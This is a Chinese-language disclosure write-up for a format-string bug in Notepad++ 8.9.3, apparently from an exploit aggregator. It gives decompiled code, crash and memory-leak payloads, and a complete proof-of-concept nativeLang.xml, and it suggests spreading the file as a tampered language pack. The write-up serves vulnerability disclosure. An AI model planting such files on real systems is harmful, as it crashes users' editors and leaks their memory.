## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LLGSJSM-CVE-2026-3008
# CVE-2026-3008 — Notepad++ 8.9.3 通过 nativeLang.xml 注入格式字符串
## 漏洞描述
当搜索操作产生结果时,`sub_1400916C0` 通过从 `nativeLang.xml` 中检索本地化字符串并将其直接作为格式字符串传递给 `wsprintfW` 来格式化命中计数标签:
root@kitploit:~
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196)); // 获取本地化字符串
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
v38 = v51[0]; // SSO:堆指针
wsprintfW((LPWSTR)(a1 + 0xC8), v38); // v38 是格式字符串
该字符串来源于 `nativeLang.xml` 中的 `<find-result-hits>` 属性,在数据流的任何环节均未经过验证:
root@kitploit:~
nativeLang.xml
→ TinyXML 解析器 (读取 XML 属性,无内容验证)
→ NativeLangSpeaker (UTF-8 → UTF-16 转换,无验证)
→ sub_140099E60 ($INT_REPLACE$ 替换 — 格式说明符得以保留)
→ wsprintfW(buf, v38) (v38 被用作格式字符串参数,而非数据)
`wsprintfW` 仅以两个参数被调用 — 没有可变参数数据参数。`v38` 中的任何格式说明符都会从 x64 调用约定的参数槽(R8、R9、栈)中读取值,而这些位置包含残留的寄存器垃圾数据。
* * *
## 受影响组件
字段| 值
---|---
**函数**| `sub_1400916C0`(查找结果面板初始化器)
**汇点地址**| `0x140091E6D`
**触发条件**| 任何产生结果的搜索(全部查找、在文件中查找、全部标记、全部替换)
`sub_1400916C0` 从 FindResults WndProc(`sub_140089BF0`)中的四个位置被调用:
地址| 触发条件
---|---
`0x14008B63B`| 在文件中查找
`0x14008B72D`| 在当前文档/所有文档中全部查找
`0x14008B97E`| 全部替换
* * *
## 影响
### 崩溃 — `%s`(拒绝服务)
root@kitploit:~
<find-result-hits value="%s%s%s%s%s%s%s%s"/>
每个 `%s` 都将一个垃圾寄存器或栈值解释为 `WCHAR*` 指针。第一个无效地址会立即触发访问冲突(`STATUS_ACCESS_VIOLATION`,`0xC0000005`)。在恶意文件被移除之前,Notepad++ 会在每次后续搜索时崩溃 — 可靠的一次性拒绝服务攻击。
### 信息泄露 — `%08lx`
root@kitploit:~
<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>
栈和寄存器内容被作为 DWORD 值读取并格式化为十六进制,显示在查找结果面板标签中。实测观察到的输出:
root@kitploit:~
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0
诸如 `5852bb18` 和 `7b1052e0` 之类的值是截断的 64 位指针片段。
### 利用上限
`wsprintfW`(user32.dll)**不** 支持 `%n` — 不存在任意写原语。其硬编码的 1024 字符输出限制与目标缓冲区大小完全一致,排除了堆缓冲区溢出的可能性。该漏洞被确认为**拒绝服务 + 信息泄露** 。仅凭此格式字符串无法实现代码执行。
* * *
## 攻击向量
`nativeLang.xml` 默认不存在 — 英文版安装不受影响。当用户通过 设置 → 首选项 → 常规 → 本地化 选择非英语语言时,Notepad++ 会将相应文件写入:
版本| 路径
---|---
安装版| `%APPDATA%\Notepad++\nativeLang.xml`
便携版| `<npp_directory>\nativeLang.xml`
在随附的 94 个本地化文件中,**43 个包含`<find-result-hits>` 元素**。如果这些语言用户的 `nativeLang.xml` 被篡改 — 例如通过论坛或下载站点分发的恶意社区语言包 — 则他们容易受到攻击。攻击者可以为所有其他字符串包含合法的翻译,使该文件看起来正常。
* * *
## 概念验证
将以下文件放置在 `<npp_directory>\nativeLang.xml`(便携版)或 `%APPDATA%\Notepad++\nativeLang.xml`(安装版),然后打开 Notepad++ 并执行任何产生结果的搜索(Ctrl+F → 在当前文档中全部查找)。
root@kitploit:~
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
<Menu><Main></Main></Menu>
<MiscStrings>
<find-result-hits value="%s%s%s%s%s%s%s%s"/>
</MiscStrings>
</Native-Langue>
</NotepadPlus>
**结果:** Notepad++ 在 `wsprintfW` 中因访问冲突立即崩溃。
其他载荷变体位于 `payloads/` 目录中。